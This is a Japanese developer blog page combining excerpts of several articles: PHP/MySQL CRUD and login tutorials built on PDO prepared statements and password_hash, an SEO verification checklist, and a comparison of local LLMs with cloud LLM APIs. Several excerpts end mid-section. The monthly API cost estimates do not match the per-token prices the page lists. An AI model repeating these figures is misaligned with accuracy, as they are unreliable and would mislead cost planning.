PHPでMySQLを操作するとは、PHPからデータベースに接続し、データの登録（Create）・取得（Read）・更新（Update）・削除（Delete）の4操作（CRUD）を行うことです。安全に実装する基本は、接続にPDOを使い、SQLは値を直接埋め込まずprepared statement（プレースホルダ）で実行することです。 Webアプリの中身は、突き詰めれば「データを保存して、取り出して、書き換えて、消す」の繰り返しです。会員管理も、商品一覧も、投稿機能も、すべてこのCRUDの組み合わせでできています。逆に言えば、CRUDをPDOで安全に書けるようになれば、たいていの動的サイトの土台は作れます。 この記事では、PHP＋MySQLでCRUDを一から実装する手順を、動くコードと「なぜそう書くか」をセットで解説します。SQLインジェクションを防ぐprepared statementの使い方、複数の更新を安全にまとめるトランザクション、文字化けやつまずきの対処まで、実務でそのまま使える形でまとめます。最後に、ここからログイン認証や検索機能へ広げる次の一手も案内します。 PHPでMySQLを操作するとは（PDOとmysqliの選択） PHPからMySQLを操作する方法は主に2つ、PDOとmysqliがあります。本記事ではPDOを使います。理由は、対応データベースが幅広く（将来PostgreSQLなどへ移植しやすい）、名前付きプレースホルダが使えてコードが読みやすいためです。PDO全体の仕様はPHP公式のPDOマニュアルにまとまっており、迷ったときの一次情報として手元に置いておくと安心です。 観点PDOmysqli対応DBMySQL・PostgreSQLなど多数MySQLのみプレースホルダ名前付き（:name）が使える基本は「?」のみ移植性・可読性高い中本記事の採用◎ こちらを使う— どちらでもCRUDは実装できますが、これから学ぶなら名前付きプレースホルダで意図が明確になるPDOがおすすめです。バックエンド全体の中でデータベースがどの位置にあるかは、バックエンドとは何かの解説で整理できます。 事前準備：テーブルとサンプルデータ CRUDを試すためのテーブルを用意します。今回は商品を管理するitemsテーブルを例にします。ローカルで試す場合は、XAMPPやMAMPなどPHPとMySQLが動く環境を準備してください。 CREATE TABLE items ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(100) NOT NULL, price INT NOT NULL, stock INT NOT NULL DEFAULT 0, created_at DATETIME DEFAULT CURRENT_TIMESTAMP ); idはAUTO_INCREMENTで自動採番、nameは商品名、priceは価格、stockは在庫数です。この4つのカラムに対して、登録・取得・更新・削除を行っていきます。 接続を共通化する（db.php） CRUDの各ファイルから毎回接続コードを書くのは無駄なので、接続処理をdb.phpにまとめ、各ファイルから読み込む形にします。接続にはPDOを使います。 <?php // db.php : データベース接続を共通化する $host = 'localhost'; $dbname = 'shop'; $dbuser = 'db_user'; // 環境に合わせて変更 $dbpass = 'db_password'; // 環境に合わせて変更 $charset = 'utf8mb4'; $dsn = "mysql:host={$host};dbname={$dbname};charset={$charset}"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, // エラーを例外で受け取る PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 連想配列で取得 PDO::ATTR_EMULATE_PREPARES => false, // 本物のprepared statement ]; try { $pdo = new PDO($dsn, $dbuser, $dbpass, $options); } catch (PDOException $e) { // 本番では詳細を画面に出さず、ログに記録する exit('データベースに接続できませんでした'); } 3つの接続オプションには意味があります。ERRMODE_EXCEPTIONはエラー時に例外を投げる設定で、失敗に気づきやすくなります。FETCH_ASSOCは取得結果を連想配列で返す設定。EMULATE_PREPARES => falseは、PHPの擬似処理ではなくMySQL本来のprepared statementを使う設定で、後述するSQLインジェクション対策をより確実にします。charset=utf8mb4は文字化け防止に必須です。 以降のCRUDコードは、すべて先頭でrequire 'db.php';を読み込み、$pdoを使う前提で進めます。 Create：データを登録する（INSERT） まずはデータの登録です。INSERT文をprepared statementで実行します。値は:nameのようなプレースホルダにし、execute()に配列で渡します。 <?php require 'db.php'; $sql = 'INSERT INTO items (name, price, stock) VALUES (:name, :price, :stock)'; $stmt = $pdo->prepare($sql); $stmt->execute([ ':name' => 'コーヒー豆', ':price' => 1200, ':stock' => 30, ]); // 直前に追加した行のIDを取得できる $newId = $pdo->lastInsertId(); echo "登録しました（ID: {$newId}）"; 登録後にlastInsertId()で採番されたIDを取得できます。登録した商品の詳細ページへリダイレクトしたいときなどに便利です。フォームから受け取った値を登録する場合も、必ずプレースホルダ経由で渡します（値を文字列連結でSQLに埋め込まない）。 Read：データを取得する（SELECT） 取得には2パターンあります。一覧をまとめて取る場合と、IDなどの条件で1件取る場合です。まず一覧取得です。条件のない単純なSELECTはquery()で実行し、fetchAll()で全行を配列で受け取ります。 <?php require 'db.php'; $stmt = $pdo->query('SELECT * FROM items ORDER BY id DESC'); $items = $stmt->fetchAll(); foreach ($items as $item) { // 出力時はXSS対策でエスケープする echo htmlspecialchars($item['name'], ENT_QUOTES, 'UTF-8'); echo ' / ' . (int)$item['price'] . '円<br>'; } 次に、IDを指定して1件取得するパターン。ここでは外部から渡される値（$_GET）を条件に使うため、query()ではなくprepared statementを使うのが鉄則です。取得結果はfetch()で1行受け取ります。 <?php require 'db.php'; $id = (int)($_GET['id'] ?? 0); $stmt = $pdo->prepare('SELECT * FROM items WHERE id = :id'); $stmt->execute([':id' => $id]); $item = $stmt->fetch(); if ($item === false) { exit('該当する商品が見つかりません'); } echo htmlspecialchars($item['name'], ENT_QUOTES, 'UTF-8'); 外部からの値を条件に使うときは必ずprepared statement——これがCRUDで最も繰り返し出てくる原則です。fetch()はデータがなければfalseを返すので、存在チェックを入れておくと安全です。 Update：データを更新する（UPDATE） 更新はUPDATE文を使います。必ずWHEREで対象を絞るのが最重要ポイントです。WHEREを書き忘れると全行が更新されてしまうため、削除と並んで事故の起きやすい操作です。 <?php require 'db.php'; $sql = 'UPDATE items SET price = :price, stock = :stock WHERE id = :id'; $stmt = $pdo->prepare($sql); $stmt->execute([ ':price' => 1300, ':stock' => 25, ':id' => 1, ]); // 実際に更新された行数を確認できる echo $stmt->rowCount() . '件を更新しました'; rowCount()で実際に更新された行数を取得できます。0が返る場合は、対象IDが存在しないか、値が元と同じで変化がなかったケースです。更新フォームから値を受け取る場合も、すべてプレースホルダ経由で渡します。 Delete：データを削除する（DELETE） 削除はDELETE文です。UPDATEと同様、WHEREで対象を必ず限定すること。WHEREのないDELETEは全件削除になり、取り返しがつきません。 <?php require 'db.php'; $id = (int)($_POST['id'] ?? 0); $stmt = $pdo->prepare('DELETE FROM items WHERE id = :id'); $stmt->execute([':id' => $id]); echo $stmt->rowCount() . '件を削除しました'; 削除は通常、確認画面やPOSTリクエストを経由して実行します。リンク（GET）一発で削除できる作りにすると、クローラーや先読みで誤削除が起きたり、CSRFの標的になったりします。削除のような変更操作はPOSTで受け、必要に応じてトークンで保護します（CSRF対策はPHPログイン機能の作り方で詳しく解説しています）。 SQLインジェクションを防ぐ（prepared statementの仕組み） CRUDを通して繰り返し使ってきたprepared statementは、SQLインジェクション対策の核心です。改めて、危険な書き方と安全な書き方を並べて、なぜ防げるのかを確認します。 ### [PHPログイン機能の作り方｜セッションとpassword_hashで安全に実装する手順](https://codequest.work/php-login-system/) PHPのログイン機能とは、ユーザーをメールアドレスとパスワードで認証し、ログイン状態をセッションで保持する仕組みのことです。安全に実装する鍵は3つで、パスワードはpassword_hash()でハッシュ化して保存し、SQLは必ずprepared statementで実行し、セッション固定攻撃・CSRF・SQLインジェクションへの対策を施すことです。 「ログイン機能くらい自分で書ける」と思って実装したものの、パスワードを平文やMD5で保存していたり、SQLに値を直接埋め込んでいたり——よくあるサンプルコードをそのまま使うと、動くけれど危険な実装になりがちです。ログイン機能はセキュリティの良し悪しがそのまま出る機能で、ここを雑に作ると情報漏洩に直結します。 この記事では、PHP＋MySQLで会員登録からログイン・ログアウトまでを一から実装する手順を、動くコードと「なぜそう書くか」のセキュリティ根拠をセットで解説します。フレームワークは使わず、素のPHPで仕組みを理解することを優先します。最後に、実際に動かして検証する手順と、次に学ぶべき一手まで案内します。中級者が「コピペで動かす」のではなく「安全に作れる」ようになることがゴールです。 PHPログイン機能とは（仕組みの全体像） ログイン機能は、突き詰めると「本人確認（認証）」と「ログイン状態の保持」の2つでできています。認証は、ユーザーが入力したパスワードが、登録時に保存したものと一致するかを確かめる処理。状態の保持は、一度ログインしたユーザーを次のページでも「ログイン済み」と判断し続けるための仕組みで、PHPではセッションが担います。 HTTPはリクエストごとに状態を持たない（ステートレスな）通信です。そのため「さっきログインした人」を覚えておく仕組みが別途必要になります。PHPのセッションは、サーバー側にログイン情報を保存し、ブラウザにはセッションIDだけをCookieで渡すことで、ページをまたいでもログイン状態を維持します。 構成要素役割主に使うもの認証パスワードが正しいか確認するpassword_hash / password_verify状態保持ログイン中かを判定し続けるセッション（$_SESSION）データ保存ユーザー情報を保管・照会するMySQL + PDO（prepared statement）防御攻撃から守るsession_regenerate_id / CSRFトークン / prepared statement バックエンドの全体像（サーバー・DB・APIの関係）から整理したい場合は、バックエンドとは何かの解説もあわせて読むと、ログイン処理がどの層で動いているのかが掴みやすくなります。 完成イメージと処理の流れ 今回作るのは、次の4つのファイルで構成される最小構成のログイン機能です。役割ごとにファイルを分けることで、処理の流れが追いやすくなります。 ファイル役割db.phpデータベース接続（PDO）を共通化register.php会員登録（パスワードをハッシュ化して保存）login.phpログイン（認証してセッション開始）mypage.phpログイン必須のページ（未ログインなら弾く）logout.phpログアウト（セッション破棄） 処理の流れを順番に並べると、次のようになります。各ステップが後のセクションのコードに対応します。 会員登録：入力されたパスワードをpassword_hash()でハッシュ化し、ユーザー情報をDBに保存する ログイン：入力メールでユーザーを検索し、password_verify()でパスワードを照合する 一致したら：session_regenerate_id()でIDを再発行し、$_SESSIONにユーザーIDを保存する ログイン必須ページ：$_SESSIONにユーザーIDがあるかで、表示するか弾くかを判定する ログアウト：セッションを破棄してログイン状態を解除する この流れの中で、セキュリティ上の急所になるのが「パスワードの保存方法」「SQLの実行方法」「セッションの扱い」の3つです。まずは動く形を作り、後半でこの3点を順に固めていきます。 事前準備：データベースと users テーブル まずユーザー情報を保存するテーブルを用意します。ローカルで試す場合は、XAMPPやMAMPなどでPHPとMySQLが動く環境を準備してください。次のSQLでusersテーブルを作成します。 CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL, email VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL, created_at DATETIME DEFAULT CURRENT_TIMESTAMP ); ポイントは2つです。emailにUNIQUE制約を付けて同じメールアドレスでの重複登録を防ぐこと。そしてpasswordカラムをVARCHAR(255)と長めに取ることです。password_hash()が生成するハッシュは現在60文字程度ですが、将来アルゴリズムが変わると長くなる可能性があるため、PHP公式マニュアルでも255文字以上の確保が推奨されています。 次に、DB接続を共通化するdb.phpを作ります。接続には、安全なSQL実行（prepared statement）が使えるPDOを採用します。 <?php // db.php : データベース接続を共通化する $host = 'localhost'; $dbname = 'myapp'; $dbuser = 'db_user'; // 環境に合わせて変更 $dbpass = 'db_password'; // 環境に合わせて変更 $charset = 'utf8mb4'; $dsn = "mysql:host={$host};dbname={$dbname};charset={$charset}"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, // 例外で気づけるように PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, // 本物のprepared statementを使う ]; try { $pdo = new PDO($dsn, $dbuser, $dbpass, $options); } catch (PDOException $e) { // 本番では詳細を画面に出さない（ログに記録する） exit('データベースに接続できませんでした'); } ATTR_EMULATE_PREPARES => falseは地味ですが重要な設定です。これをfalseにすると、PHP側の擬似的な処理ではなくMySQL本来のprepared statementが使われ、SQLインジェクション対策がより確実になります。接続情報は本来ソースに直書きせず環境変数などに分離しますが、本記事では分かりやすさを優先して直書きしています。実運用ではPHPMailerの実装ガイドと同様、認証情報の管理にも注意してください。 パスワードを安全に保存する（password_hash） ログイン機能で最も重要なのが、パスワードの保存方法です。結論から言うと、パスワードは平文でもMD5でもSHA-1でもなく、password_hash()で保存します。これはPHPに標準で用意された、パスワード専用のハッシュ関数です。 なぜMD5やSHA-1ではダメなのか。これらは高速に計算できるため、総当たり攻撃で逆算されやすく、パスワード保存には不向きとされています。一方password_hash()は、計算コストを意図的に高くし、ソルト（ランダムな文字列）も自動で付与するため、漏洩時の解読を格段に難しくします。 手法パスワード保存に理由平文✕ 論外DBが漏れたら即アウトMD5 / SHA-1✕ 不適切高速すぎて総当たりに弱い・ソルトなしpassword_hash()◎ 推奨低速設計＋自動ソルト。PHP公式が推奨 使い方はシンプルです。保存時はpassword_hash()でハッシュ化し、照合時はpassword_verify()で「入力された平文」と「保存されたハッシュ」を比較します。ハッシュは元に戻せないため、照合は必ずpassword_verify()を使います。 <?php // 保存時：平文パスワードをハッシュ化する $hash = password_hash($password, PASSWORD_DEFAULT); // 例： $2y$10$... という60文字程度の文字列になる // 照合時：入力値とハッシュを比較する（true / false） if (password_verify($inputPassword, $hash)) { // パスワード一致 } else { // 不一致 } PASSWORD_DEFAULTを指定しておくと、PHPのバージョンアップで推奨アルゴリズムが更新された際にも自動で追従できます。アルゴリズムを自分で固定する必要はありません。 会員登録機能を実装する 準備ができたので、会員登録（register.php）を実装します。フォームから受け取った値をバリデーションし、パスワードをハッシュ化して、prepared statementでDBに保存します。 <?php // register.php require 'db.php'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $username = trim($_POST['username'] ?? ''); $email = trim($_POST['email'] ?? ''); $password = $_POST['password'] ?? ''; // 入力チェック（最低限） if ($username === '' || $email === '' || $password === '') { exit('未入力の項目があります'); } // パスワードをハッシュ化 $hash = password_hash($password, PASSWORD_DEFAULT); // prepared statement で安全に保存 $sql = 'INSERT INTO users (username, email, password) VALUES (:username, :email, :password)'; $stmt = $pdo->prepare($sql); try { $stmt->execute([ ':username' => $username, ':email' => $email, ':password' => $hash, ]); } catch (PDOException $e) { // UNIQUE制約違反（メール重複）など exit('登録できませんでした。すでに使われているメールアドレスの可能性があります'); } header('Location: login.php'); exit; } 対応するHTMLフォームは次の通りです。パスワード欄は必ずtype="password"にし、通信は本番ではHTTPSにします（後述）。 ### [納品前にSEO設定を自分で検証する手順 — 5項目の確認方法と合否ライン](https://codequest.work/seo-verification-before-delivery/) 納品前のSEO検証とは、実装したSEO設定（メタタグ・OGP・見出し構造・構造化データ・canonical）が公開前に正しく機能しているかを、実際のページ出力を確認して検証する工程のことです。「設定した」と「正しく効いている」は別物で、テーマやプラグインの挙動、出力タイミングのズレで、書いたはずの設定がページに反映されていないことは珍しくありません。 「このサイト、SEO大丈夫ですか？」——納品後にクライアントからこう聞かれて、慌ててソースを確認した経験はないでしょうか。設定ファイルに書いた内容を信じて納品したものの、実際の出力を一度も自分の目で確かめていない、というのはフリーランスや小規模制作の現場でよく起きるパターンです。 この記事では、Web制作の納品前に最低限おさえたいSEO5項目について、「どう確認するか（手順）」「どこまでできていれば合格か（合否ライン）」「現場でつまずきやすい検証ミス」の3点セットで解説します。実装方法そのものではなく、実装が正しく効いているかを自分の手で検証することにフォーカスした内容です。最後に、検証が終わったあとの「次の一手」まで案内します。 納品前のSEO検証とは何か（「設定した」と「効いている」は違う） SEO設定は「コードに書いた」時点では完了していません。完了とは、実際に配信されるHTMLに、意図したタグが意図した値で出力されていることを指します。CMSのテーマ、SEOプラグイン、キャッシュ、リバースプロキシなど、コードと配信HTMLの間には複数の層があり、そのどこかで上書き・欠落・重複が起きます。 だからこそ、納品前の検証は「設定画面のスクリーンショット」ではなく「公開される実物のHTML」を見るのが原則です。下の表のように、作業のゴールを“設定済み”から“検証済み”へ引き上げることが、納品後のトラブルを防ぐ最短ルートになります。 状態確認しているもの納品可否設定済み管理画面・コードに値を入力した不十分検証済み配信HTML・専用ツールで出力を確認したOK 検証を省いて納品すると、数週間後に「SNSでシェアしたらサムネイルが出ない」「検索しても下層ページが出てこない」とクライアント側が気づいて連絡が来る、という展開になりがちです。原因の多くは初期設定の出力ミスで、納品前に検証していれば数分で防げたものばかり。しかも公開後に直すとなると、原因調査・修正・再確認・場合によっては再クロール待ちと、納品前の何倍もの時間がかかります。検証は「最後のひと手間」ではなく「最も費用対効果の高い保険」だと考えてください。 検証に使う3つの基本ツール 特別な有料ツールは不要です。次の3つで5項目の大半は検証できます。まずはこの3つを手に馴染ませておくと、どの案件でも同じ手順で確認できるようになります。 ソース表示（View Source）：ブラウザで Ctrl/⌘ + U。配信されている生のHTMLを見る。タグの有無・重複の確認に最適。 デベロッパーツール（DevTools）：F12 → Elements / Network。JavaScriptで後から書き換わるタグや、レンダリング後の状態を確認できる。 Googleの公式検証ツール：リッチリザルトテスト、スキーママークアップバリデーターなど。Googleが実際にどう解釈するかを確認できる。 ポイントは、「ソース表示」と「DevTools」を使い分けることです。JavaScriptでメタ情報を後から注入するサイトでは、ソース表示には出ずDevToolsのElementsにだけ出ることがあります。逆に、サーバー出力の重複はソース表示の方が見つけやすい。両方見るのが安全です。コマンドで素早く確認したい場合は、次のように生HTMLを取得してタグを抜き出すこともできます。 # 配信HTMLからtitle・meta・canonical・OGPをまとめて確認 curl -sL "https://example.com/" | grep -iE "<title>|<meta|<link rel=.canonical" 検証の順序にもコツがあります。まずソース表示でタグの「有無と重複」をざっと確認し、次にDevToolsで「JavaScriptによる書き換えがないか」を見て、最後に公式ツールで「Googleがどう解釈するか」を確かめる——この順で進めると、原因の切り分けがスムーズです。いきなり公式ツールから入ると、問題が「実装の出力ミス」なのか「Googleの解釈の問題」なのか判断しづらくなります。 【ポイント1】メタタグ（title / description） 最初に確認するのはtitleとmeta descriptionです。検索結果に直接出る要素であり、ここが空・重複・全ページ同一だと、SEOの土台が崩れます。 確認方法：ソース表示で <title> と <meta name="description"> を検索し、トップ・下層・記事の最低3ページで「ページごとに中身が違うか」を見ます。同じtitleが複数ページで出ていないかが最重要チェックです。 項目合格ラインtitle全ページで1つだけ出力／ページごとに固有／重複なしdescription各ページに存在／ページ内容と一致／全ページ同一文でない長さの目安titleは表示が途切れにくい範囲、descriptionは内容を要約できていればOK よくある検証ミス：テーマ標準のtitleとSEOプラグインのtitleが二重に出力されているケース。設定画面だけ見ると正しく見えるのに、ソースには <title> が2つ並んでいる。これは管理画面では絶対に気づけず、必ずソース表示で確認しないと見落とします。トップページだけ確認して下層を見ず、下層が全部同じtitleだった、というのも定番の取りこぼしです。 【ポイント2】OGP（SNSシェア時の表示） OGP（Open Graph Protocol）は、SNSでシェアされたときのタイトル・説明・サムネイル画像を制御するタグです。検索順位に直接は効きませんが、クライアントが真っ先に「見た目」で気づく部分なので、納品前検証では外せません。 確認方法：ソースで og:title og:description og:image og:url の4つがあるかを見て、実際のシェア表示は OGPプレビューツール でプレビューします。画像が表示されるか、URLが本番ドメインになっているかまで目視します。 項目合格ラインog:image本番URLの絶対パス／実際に画像が表示される／推奨は横長（1200×630目安）og:url本番ドメイン／開発・ステージング用URLが残っていないog:title / descriptionページごとに適切／文字化けしていない よくある検証ミス：og:image を相対パスや開発環境のドメインのままにしてしまうケース。ローカルでは画像が見えるのに、本番でシェアするとサムネイルが出ない。さらに、SNS側は一度取得したOGPをキャッシュするため、修正後に再取得（キャッシュクリア）しないと古い表示のまま、という二段構えの落とし穴があります。納品直前に必ずプレビューで実物を見ることが防御策です。X（旧Twitter）向けの twitter:card 系タグの確認漏れも多く、OGPだけ入れて満足してしまうと、X上での見え方が意図と変わることがあります。主要SNSでの表示を一通り確認しておくと安心です。 【ポイント3】見出し構造（h1〜h3） 見出しタグは、検索エンジンとユーザーの双方にページ構造を伝える骨格です。デザイン優先で組むと、見た目は整っていても構造が壊れていることがよくあります。 確認方法：DevToolsのElementsで h1 を検索し、1ページに1つだけかを確認します。次に h1 → h2 → h3 の順序が飛んでいないか（h2を飛ばしていきなりh3になっていないか）を見ます。ブラウザ拡張の見出しアウトライン表示を使うと一覧で把握できます。 項目合格ラインh11ページに1つ／ページの主題を表している階層h1→h2→h3の順で、レベルを飛ばしていない用途装飾目的でh1〜h6を使っていない（強調はCSSで） よくある検証ミス：ロゴ画像とページタイトルの両方をh1にしてしまい、1ページにh1が2つあるケース。あるいは、サイドバーのウィジェット見出しがh3で、本文の見出しがh2より先に来てしまい階層が逆転しているケース。これらは見た目では全く分からず、Elementsで構造を追わないと検出できません。ページビルダーで作ったサイトも要注意で、見出し風に大きく表示しているだけのdivやspanが実はh2扱いになっていなかった、という逆パターンもあります。「大きい文字＝見出しタグ」とは限らないので、必ずタグ自体を確認してください。 【ポイント4】構造化データ（JSON-LD） 構造化データは、ページの内容を検索エンジンが理解しやすい形で伝えるマークアップです。実装そのものはテーマやプラグインに任せることが多いため、納品前は「正しく出力され、エラーがないか」の検証に集中します。 確認方法：GoogleのリッチリザルトテストにページURLを入れて、検出されたタイプとエラー・警告を確認します。より細かく見たい場合はスキーママークアップバリデーターを併用します。エラー（赤）はゼロ、警告（黄）は内容を確認のうえ許容するか判断します。 状態判断エラー（赤）必ず修正。リッチリザルトの対象外になる原因警告（黄）推奨項目の欠落。内容を見て対応要否を判断検出なしそもそも出力されていない可能性。実装側を確認 よくある検証ミス：プラグインを複数入れた結果、同じタイプの構造化データが重複して出力されているケース。リッチリザルトテストでは通っても、重複は意図しない解釈を招きます。また、テスト環境では正しくても、本番のキャッシュ層が古いHTMLを返していて反映されていない、という検証漏れも起きます。必ず本番URLでテストするのが鉄則です。構造化データの実装・修正まで踏み込みたい場合は、SEO診断ツールの改善提案を活用すると効率的です。 【ポイント5】canonical URL canonical（正規URL）は、内容が同じ・似ているページが複数ある場合に「これが正規版」と検索エンジンに伝えるタグです。設定ミスがあると、評価が分散したり、意図しないページがインデックスされたりします。 確認方法：ソースで <link rel="canonical"> を検索し、各ページのcanonicalが「そのページ自身の本番URL」を指しているかを確認します。トップ・下層・記事ページで、全ページが同じURLを指していないか（多くはトップに固定されるミス）を重点的に見ます。 項目合格ライン指す先原則そのページ自身の本番URL（自己参照）ドメイン本番ドメイン／http・wwwの有無が実URLと一致個数1ページに1つだけ（重複なし） よくある検証ミス：移行・複製時に全ページのcanonicalがトップページURLに固定されてしまうケース。これをやると下層ページがインデックスから外れる重大な事故につながります。さらに、httpsへ統一したのにcanonicalだけhttpのまま、wwwあり・なしが実URLと食い違っている、といった細部のズレも頻出します。あわせて確認したいのが noindex との併発です。canonicalで正規版を示しているページに noindex が同時に付いていると、シグナルが矛盾し、意図せずインデックスから外れることがあります。canonicalを見るついでに、納品対象ページに不要な noindex が残っていないかも確認しておきましょう。 ### [ローカルLLM vs クラウドAPI｜5基準で選ぶ実装判断ガイド](https://codequest.work/local-llm-vs-cloud-api/) ローカルLLMとクラウドLLM APIは、自社で大規模言語モデルを運用するか、外部のAPIサービスに任せるかという2つの選択肢であり、コスト構造・パフォーマンス・セキュリティ・開発速度・運用負荷の5観点で判断が分かれます。 「自社サイトにLLMを導入したい」と決まった次に必ず出てくるのが、OpenAIやAnthropicのクラウドAPIを使うか、それともOllama・llama.cppなどで自前のサーバーに乗せるか、という選択です。前者は開発が早く始められる一方、月額の従量課金が積み上がります。後者は初期投資が必要ですが、データを社外に出さずに済みます。どちらが正解かは、扱うデータ量・機微情報の有無・社内のエンジニアリソースで変わるため、軸を切って整理することが重要です。 この記事では、ローカルLLMとクラウドLLM APIを5つの観点で比較し、どちらをどんなケースで選ぶべきかを整理します。記事の最後には、自社判断のための5問チェックリストとよくある失敗パターンもまとめています。導入事例の具体例については 👉 Webサイトへの LLM 導入事例5選 も合わせて参照してください。 ローカルLLMとクラウドLLM APIの違い【5観点早見表】 ローカルLLM（Ollama・llama.cpp等を使った自前運用）とクラウドLLM API（OpenAI・Anthropic・Google等の外部API）を、5つの判断軸で並べると次のようになります。 観点ローカルLLMクラウドLLM APIコスト構造GPU初期費・電気代（固定費型）トークン従量課金（変動費型）パフォーマンスモデルサイズに依存、軽量モデルは高速最新フラッグシップモデルが使えるセキュリティデータが社外に出ない送信データは規約で管理開発速度環境構築・運用設計が必要SDKを叩けばその日から動く運用負荷モデル更新・スケーリングを自前でプロバイダ側で自動 それぞれの観点について、公式情報・ベンチマーク調査・運用上の論点を整理していきます。なお、本記事は両者を選ぶための判断軸を整理したガイドであり、特定のモデルの実機ベンチマークを実測したものではありません。具体的な数値はすべて執筆時点の公式情報・公開ベンチマークを出典として明記しています。 コスト構造の違い — API従量課金 vs GPU初期費・電気代 クラウドAPIは「使った分だけ払う変動費型」、ローカルLLMは「先に投資して使い倒す固定費型」です。月間リクエスト数が増えれば増えるほど、固定費型のローカルLLMが有利になっていきます。 クラウドAPIの料金体系（執筆時点の公式情報） 主要プロバイダの公式料金ページに基づくと、料金は入力トークンと出力トークンで別建てになっており、モデルのグレードによって10倍以上の差があります。最新料金は OpenAI公式 API Pricing、Anthropic公式 Pricing、Google AI for Developers Pricing をそれぞれ参照してください。 モデル入力（1M tokens）出力（1M tokens）用途OpenAI GPT-4o$2.50$10.00汎用・高精度OpenAI GPT-4o mini$0.15$0.60大量処理・低コストAnthropic Claude Sonnet 4$3.00$15.00長文・複雑指示Anthropic Claude Haiku 4.5$1.00$5.00高速・低コストGoogle Gemini 2.5 Flash$0.30$2.50マルチモーダル 月間1万リクエスト・1リクエスト平均2,000トークン入力 + 500トークン出力で試算すると、GPT-4o miniなら月約450円、Claude Sonnet 4なら月約13,500円、GPT-4oなら月約7,500円となります。利用が伸びると年間で数十万円〜数百万円規模に達します。 ローカルLLMの初期費・運用費 ローカル運用は、GPU・電気代・人件費の3つが主なコスト要素です。Llama 3 8B・Mistral 7B程度の中型モデルなら、VRAM 16GB以上のGPUで動作します。 項目金額目安備考NVIDIA RTX 4090（VRAM 24GB）30〜40万円市場価格、7B〜13Bモデル向けNVIDIA H100（VRAM 80GB）500万円超70Bクラス向け、エンタープライズ用途電気代（24時間稼働）月5,000〜10,000円RTX 4090 ≒ 450W、25円/kWh換算AWS p4d.24xlarge（A100×8）時間$32.77〜AWS公式オンデマンド料金Hugging Face Inference Endpoints時間$0.50〜マネージドGPU、公式公開料金 RTX 4090を購入して自前運用する場合、初期費40万円 + 電気代年12万円 = 初年度約52万円。月利用量が大きい場合（例: 月10万リクエスト以上）、クラウドAPIと比較して2〜3年で回収できる計算になります。逆にリクエスト数が少ない初期フェーズでは、クラウドAPIの方が圧倒的に安く済みます。 パフォーマンス比較 — 公式ベンチマーク・第三者検証の整理 「ローカルLLMはクラウドAPIに比べて性能が劣る」というのは、モデルサイズの違いを混同した誤解です。同じパラメータ数で比較すると、オープンソースモデルは商用モデルに近い精度を出すケースもあります。ただし、フラッグシップモデル（GPT-4o・Claude Sonnet等）とローカルで動かせる7B〜13Bクラスを比較すると、明確に差があります。 精度ベンチマークの整理 中立的に各モデルの精度を比較できるリソースは以下が代表的です。第三者ベンチマークは更新が早いため、判断時には最新版を確認することを推奨します。 Artificial Analysis — クラウドAPI主要モデルのMMLU・GPQA・コード生成・レイテンシを横断比較 Open LLM Leaderboard（Hugging Face） — オープンソースモデルの公開ベンチマーク LMArena（旧Chatbot Arena） — 人間評価によるブラインドテスト方式のランキング MLPerf Inference — 推論速度・効率の標準ベンチマーク レイテンシ（応答速度）の傾向 レイテンシ（First Token Latency: 最初のトークンが返ってくるまでの時間）は、ローカルLLMが有利になりやすい領域です。ネットワーク往復が不要なため、軽量モデルなら数十ms〜数百ms。クラウドAPIは地理的なリージョンとプロバイダの負荷によって500ms〜数秒の幅があります。Artificial Analysisの公開ベンチマークでは、クラウドAPIのFirst Token Latencyは0.3〜1.5秒のレンジで観測されています。 ただし、ローカルでも70Bクラスの大型モデルを動かすとレイテンシは数秒に伸びます。「ローカル＝速い」は中小モデル限定の話で、モデルサイズと精度のトレードオフを意識する必要があります。 セキュリティ・データガバナンスの違い ローカルLLMを選ぶ最大の理由は、データを社外に出さずに済むことです。一方で、クラウドAPIも「学習に使われない契約形態」が用意されており、適切に設定すれば実務上のリスクは下げられます。 クラウドAPIの公式データ取扱い方針 主要プロバイダはいずれも、API経由で送信されたデータをデフォルトでモデルの学習には使用しないと公表しています。 OpenAI: API Data Usage Policies でAPI送信データは学習に使われないと明示。ログは不正使用検知のために30日保持（Zero Data Retention契約あり） Anthropic: Privacy Center でCommercial API顧客のデータは学習に使われないと明示 Google: Gemini API Terms で有料APIのデータは学習に使われないと明示（無料プランは別） 日本国内の規制動向 個人情報保護委員会（PPC）は、生成AIサービスの利用に関する注意喚起を公開しており、個人情報を含むデータを学習データとして送信することへの注意を求めています（個人情報保護委員会 FAQ）。実務上は、個人情報・機密情報の入力時にはマスキング処理を入れる、または明確に「学習されない契約」のAPIを使う、という設計が現実的です。 ローカルLLMが優位なケース 医療・金融・法律など、データの社外送信自体が業法・契約で制限される領域 顧客との秘密保持契約で「第三者にデータを渡さない」と明文化している場合 欧州GDPR圏のユーザーデータを扱い、データの越境移転を避けたいケース 社内ナレッジ・ソースコードなど、原則として外部に出せない資産を扱う場合 開発速度・ドキュメント・SDKの比較 開発に着手してから本番稼働までの「Time to First Hello World」は、クラウドAPIの方が圧倒的に速いです。APIキーを取得してSDKを叩けばその日に動きます。ローカルLLMは環境構築・モデルダウンロード・推論サーバーの設定が必要で、最低でも数時間〜1日かかります。 SDK・ライブラリの整備状況 プロバイダ／ツール公式SDK特徴OpenAIPython / Node.js / .NET / Java / Go最も成熟、コミュニティ事例が豊富AnthropicPython / TypeScript / Java / Go長文・複雑指示で評価が高いGoogle GeminiPython / Node.js / Go / Dartマルチモーダル対応が強いOllamaPython / JavaScript / Go等REST APIでOpenAI互換、移行容易llama.cppC/C++ネイティブ + 各言語バインディング軽量・低レイヤ制御、量子化に強い OllamaはOpenAI互換のAPIを提供しており（Ollama公式ドキュメント）、既存のOpenAI SDKコードのエンドポイントURLだけを差し替えればローカルLLMに切り替えられます。これは「最初はクラウドAPIで開発、後からローカル化」という移行戦略を取りたい場合の大きな利点です。 ドキュメント・サポート体制 